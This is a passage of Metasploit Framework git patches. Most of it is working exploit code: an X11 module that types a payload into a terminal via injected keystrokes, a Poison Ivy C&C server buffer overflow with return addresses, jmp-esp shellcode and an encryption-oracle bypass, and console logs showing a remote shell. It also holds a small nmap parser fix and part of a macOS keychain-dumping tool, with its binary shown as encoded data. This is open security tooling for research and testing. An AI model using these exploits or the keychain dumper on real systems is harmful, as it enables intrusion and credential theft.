"\x62" # Opcode 98: QueryExtension + req << "\x00" # Unused + req << "\x04\x00" # Request length: 4 + req << "\x05\x00" # Name length: 5 + req << "\x00\x00" # Unused + req << "XTEST" # Name + req << "\x00\x00\x00" # Unused, padding? + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + if res and res[0,1] == "\x01" + @xtest_opcode = res[9,1] # Retrieve the XTEST opcode + else + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed") + end + + + req = "\x62" # Opcode 98: QueryExtension + req << "\x00" # Unused + req << "\x08\x00" # Request length + req << "\x17\x00" # Name length + req << "\x00\x00" # Unused + req << "Generic Event Extension" # Name + req << "\x00" # Unused, padding? + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + if res and res[0,1] == "\x01" + @genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode + else + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed") + end + + + req = "" + req << @genericevent_opcode + req << "\x00" # Extension minor: 0 (QueryVersion) + req << "\x02\x00" # Request length: 2 + req << "\x01\x00" # Client major version: 1 + req << "\x00\x00" # Client minor version: 0 + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") + end + + + req = "" + req << @xtest_opcode + req << "\x00" # Extension minor: 0 (GetVersion) + req << "\x02\x00" # Request length: 2 + req << "\x02\x00" # Major version: 2 + req << "\x02\x00" # Minor version: 2 + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed") + end + + + req = "\x65" # Opcode 101: GetKeyboardMapping + req << "\x00" # Unused + req << "\x02\x00" # Request length: 2 + req << "\x08" # First keycode: 8 + req << "\xf8" # Count: 248 + req << "\x02\x00" # Unused? + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed") + end + + + req = "" + req << @xkeyboard_opcode + req << "\x08" # Extension minor: 8 (GetMap) + req << "\x07\x00" # Request length: 7 + req << "\x00\x01" # Device spec: 0x0100 (256) + req << "\x07\x00" # Full: 7 + req << "\x00\x00" # Partial: 0 + req << "\x00" # firsType: 0 + req << "\x00" # nTypes: 0 + req << "\x00" # firstKeySym: 0 + req << "\x00" # nKeySym: 0 + req << "\x00" # firstKeyAction: 0 + req << "\x00" # nKeysActions: 0 + req << "\x00" # firstKeyBehavior: 0 + req << "\x00" # nKeysBehavior: 0 + req << "\x00\x00" # virtualMods: 0 + req << "\x00" # firstKeyExplicit: 0 + req << "\x00" # nKeyExplicit: 0 + req << "\x00" # firstModMapKey: 0 + req << "\x00" # nModMapKeys: 0 + req << "\x00" # firstVModMapKey: 0 + req << "\x00" # nVModMapKeys: 0 + req << "\x00\x00" # Unused, padding? + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") + end + + # Press ALT+F2 to start up "Run application" print_status("#{rhost}:#{rport} - Opening \"Run Application\"") press_key(KB_KEYS["alt"]) @@ -227,20 +461,26 @@ class Metasploit3 < Msf::Exploit::Remote release_key(KB_KEYS["f2"]) # Wait X seconds to open the dialog - print_status("Waiting #{datastore['TIME_WAIT']} seconds...") + print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") select(nil, nil, nil, datastore['TIME_WAIT']) - # Start a xterm terminal - print_status("#{rhost}:#{rport} - Opening xterm") - type_command("xterm") + if datastore['TARGET'] == 0 + # Start a xterm terminal + print_status("#{rhost}:#{rport} - Opening xterm") + type_command("xterm") + else + # Start a Gnome terminal + print_status("#{rhost}:#{rport} - Opening gnome-terminal") + type_command("gnome-terminal") + end - print_status("Waiting #{datastore['TIME_WAIT']} seconds...") + print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") # Wait X seconds to open the terminal select(nil, nil, nil, datastore['TIME_WAIT']) # "Type" our payload and execute it print_status("#{rhost}:#{rport} - Typing and executing payload") - command = "nohup #{payload.encoded} &2>/dev/null;exit" + command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit" type_command(command) From 0a0e7ab4baafb90aa26bdcabd7f0a5f73dbcd483 Mon Sep 17 00:00:00 2001 From: samvartaka <a.l.g.m.wetzels@gmail.com> Date: Mon, 7 Sep 2015 17:48:28 +0200 Subject: [PATCH 0580/2172] This is a modification to the original poisonivy_bof.rb exploit module removing the need for bruteforce in the case of an unknown server password by (ab)using the challenge-response as an encryption oracle, making it more reliable. The vulnerability has also been confirmed in versions 2.2.0 up to 2.3.1 and additional targets for these versions have been added as well. See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/ for details. ## Console output Below is an example of the new functionality (PIVY C2 server password is set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1 is similar. ### Version 2.3.2 (unknown password) ``` msf > use windows/misc/poisonivy_bof msf exploit(poisonivy_bof) > set RHOST 192.168.0.103 RHOST => 192.168.0.103 msf exploit(poisonivy_bof) > check [*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected. [*] 192.168.0.103:3460 - The target appears to be vulnerable. msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp PAYLOAD => windows/shell_bind_tcp msf exploit(poisonivy_bof) > exploit [*] Started bind handler [*] Performing handshake... [*] Sending exploit... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2> ``` ### Version 2.2.0 (unknown password) ``` msf exploit(poisonivy_bof) > check [*] Vulnerable Poison Ivy C&C version 2.2.0 detected. [*] 192.168.0.103:3460 - The target appears to be vulnerable. msf exploit(poisonivy_bof) > show targets Exploit targets: Id Name -- ---- 0 Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1 1 Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1 2 Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1 msf exploit(poisonivy_bof) > set TARGET 0 TARGET => 0 msf exploit(poisonivy_bof) > exploit [*] Started bind handler [*] Performing handshake... [*] Sending exploit... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0> ``` --- .../exploits/windows/misc/poisonivy_bof.rb | 181 +++++++++--------- 1 file changed, 95 insertions(+), 86 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index f4548055e7..79c3e4dc8a 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -9,39 +9,29 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => "Poison Ivy Server Buffer Overflow", 'Description' => %q{ - This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server. - The exploit does not need to know the password chosen for the bot/server - communication. If the C&C is configured with the default 'admin' password, - the exploit should work fine. In case of the C&C configured with another - password the exploit can fail. The 'check' command can be used to determine - if the C&C target is using the default 'admin' password. - - Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread - responsible of handling the connection. Because of this the module provides the - RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header - will be used. If the bruteforce target is selected, a random header will be sent in - case the default for the password 'admin' doesn't work. Bruteforce will stop after - 5 tries or a session obtained. + This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server. + The exploit does not need to know the password chosen for the bot/server communication. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrzej Dereszowski', # Vulnerability Discovery 'Gal Badishi', # Exploit and Metasploit module - 'juan vazquez' # Testing and little of Metasploit-fu + 'juan vazquez', # Testing and little of Metasploit-fu + 'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle ], 'References' => [ [ 'OSVDB', '83774' ], [ 'EDB', '19613' ], [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ], - [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ] + [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ], + [ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ], ], 'DisclosureDate' => "Jun 24 2012", 'DefaultOptions' => @@ -58,107 +48,126 @@ class Metasploit3 < Msf::Exploit::Remote 'Targets' => [ [ - 'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1', + 'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1', { - 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe" + 'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe" + 'RWAddress' => 0x00401000, + 'Offset' => 0x8069, + 'PayloadOffset' => 0x75, + 'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp + } + ], + + [ + 'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1', + { + 'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe" + 'RWAddress' => 0x00401000, + 'Offset' => 0x8069, + 'PayloadOffset' => 0x75, + 'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp + } + ], + + [ + 'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1', + { + 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe" 'RWAddress' => 0x00401000, 'Offset' => 0x806D, 'PayloadOffset' => 0x75, 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp } - ], - [ - 'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1', - { - 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe" - 'RWAddress' => 0x00401000, - 'Offset' => 0x806D, - 'PayloadOffset' => 0x75, - 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp - 'Bruteforce' => - { - 'Start' => { 'Try' => 1 }, - 'Stop' => { 'Try' => 6 }, - 'Step' => 1, - 'Delay' => 2 - } - } ] ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 2 )) register_options( - [ - Opt::RPORT(3460), - OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false]) - ], self.class) - - register_advanced_options( - [ - OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]), - ], self.class) + [ + Opt::RPORT(3460), + ], self.class) end def check - sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b" - lensig = [0x000015D0].pack("V") + # camellia block size + blockSize = 16 + # number of blocks in challenge + blockCount = 16 + challenge = ("\x00" * blockSize * blockCount) + + indicator = Hash.new + # 0x0000113e as first 4 bytes on PI 2.1.0 + indicator[[0x0000113e].pack("V")] = '2.1.0' + # 0x00001212 as first 4 bytes on PI 2.1.1 + indicator[[0x00001212].pack("V")] = '2.1.1' + # 0x000013f6 as first 4 bytes on PI 2.1.2 + indicator[[0x000013f6].pack("V")] = '2.1.2' + + # 0x000013e0 as 4 bytes after challenge on PI 2.2.0 + indicator[[0x000013e0].pack("V")] = '2.2.0' + # 0x00001470 as 4 bytes after challenge on PI 2.3.0 + indicator[[0x00001470].pack("V")] = '2.3.0' + # 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2 + indicator[[0x000015D0].pack("V")] = '2.3.1/2.3.2' connect - sock.put("\x00" * 256) + sock.put(challenge) response = sock.read(256) - datalen = sock.read(4) - disconnect - if datalen == lensig - if response[0, 16] == sig - vprint_status("Password appears to be \"admin\"") + if response.length == 256 + response2 = sock.read(4) + disconnect + + # Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks + # map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks. + firstBlock = response[0, 16] + for index in 1..15 + if response[index * 16, 16] != firstBlock + print_status("Response doesn't match Poison Ivy Challenge-Response format.") + return Exploit::CheckCode::Safe + end + end + + if indicator.key?(response2) + indic = indicator[response2] + print_status("Vulnerable Poison Ivy C&C version #{indic} detected.") return Exploit::CheckCode::Appears - else - vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.") - return Exploit::CheckCode::Detected + end + elsif response.length == 4 + disconnect + if indicator.key?(response) + indic = indicator[response] + print_status("Poison Ivy C&C version #{indic} detected.") + return Exploit::CheckCode::Safe end end + + vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.") return Exploit::CheckCode::Safe end - def single_exploit - if datastore['RANDHEADER'] == true - # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password - header = rand_text(0x20) - else - # This is the 32-byte header we want to send, encrypted with the default password ("admin") - # We have a very good chance of succeeding even if the password was changed - header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" - end - do_exploit(header) - end - - def brute_exploit(brute_target) - if brute_target['Try'] == 1 - print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password") - # This is the 32-byte header we want to send, encrypted with the default password ("admin") - # We have a very good chance of succeeding even if the password was changed - header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" - else - print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header") - # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password - header = rand_text(0x20) - end - do_exploit(header) - end - - def do_exploit(header) + def exploit # Handshake connect print_status("Performing handshake...") - sock.put("\x00" * 256) - sock.get_once(-1, 10) + + # plaintext header + plaintextHeader = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + # crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle + challenge = plaintextHeader + ("\x00" * (256 - 32)) + sock.put(challenge) + # response = encrypt(challenge, key) + response = sock.get_once + + # since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key + encryptedHeader = response[0, 32] # Don't change the nulls, or it might not work xploit = '' - xploit << header + xploit << encryptedHeader xploit << "\x00" * (target['PayloadOffset'] - xploit.length) xploit << payload.encoded xploit << "\x00" * (target['Offset'] - xploit.length) From e97056a36750e2c0c223b79c838fd65a2eeeee54 Mon Sep 17 00:00:00 2001 From: Manuel Mancera <sinkmanu@gmail.com> Date: Mon, 7 Sep 2015 22:52:03 +0200 Subject: [PATCH 0581/2172] When the port state is open|filtered should be unknown, no open --- lib/rex/parser/nmap_nokogiri.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/parser/nmap_nokogiri.rb b/lib/rex/parser/nmap_nokogiri.rb index 2516f67133..f744b84e87 100644 --- a/lib/rex/parser/nmap_nokogiri.rb +++ b/lib/rex/parser/nmap_nokogiri.rb @@ -17,7 +17,7 @@ module Rex Msf::ServiceState::Closed when "filtered" Msf::ServiceState::Filtered - when "unknown" + else Msf::ServiceState::Unknown end end From 1b320bae6a85b4566f46948ed61398a384efb776 Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Mon, 7 Sep 2015 21:13:27 -0500 Subject: [PATCH 0582/2172] Add auto-accept to osx/enum_keychain. --- data/exploits/osx/dump_keychain/Makefile | 2 + data/exploits/osx/dump_keychain/dump | Bin 0 -> 19620 bytes data/exploits/osx/dump_keychain/dump.m | 161 +++++++++++++++++++++++ modules/post/osx/gather/enum_keychain.rb | 75 ++++++++--- 4 files changed, 217 insertions(+), 21 deletions(-) create mode 100644 data/exploits/osx/dump_keychain/Makefile create mode 100755 data/exploits/osx/dump_keychain/dump create mode 100644 data/exploits/osx/dump_keychain/dump.m diff --git a/data/exploits/osx/dump_keychain/Makefile b/data/exploits/osx/dump_keychain/Makefile new file mode 100644 index 0000000000..95607b40c7 --- /dev/null +++ b/data/exploits/osx/dump_keychain/Makefile @@ -0,0 +1,2 @@ +all: + gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump \ No newline at end of file diff --git a/data/exploits/osx/dump_keychain/dump b/data/exploits/osx/dump_keychain/dump new file mode 100755 index 0000000000000000000000000000000000000000..3396ab775b3dec0b7f928d2c8c84af428abbcbcf GIT binary patch literal 19620 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 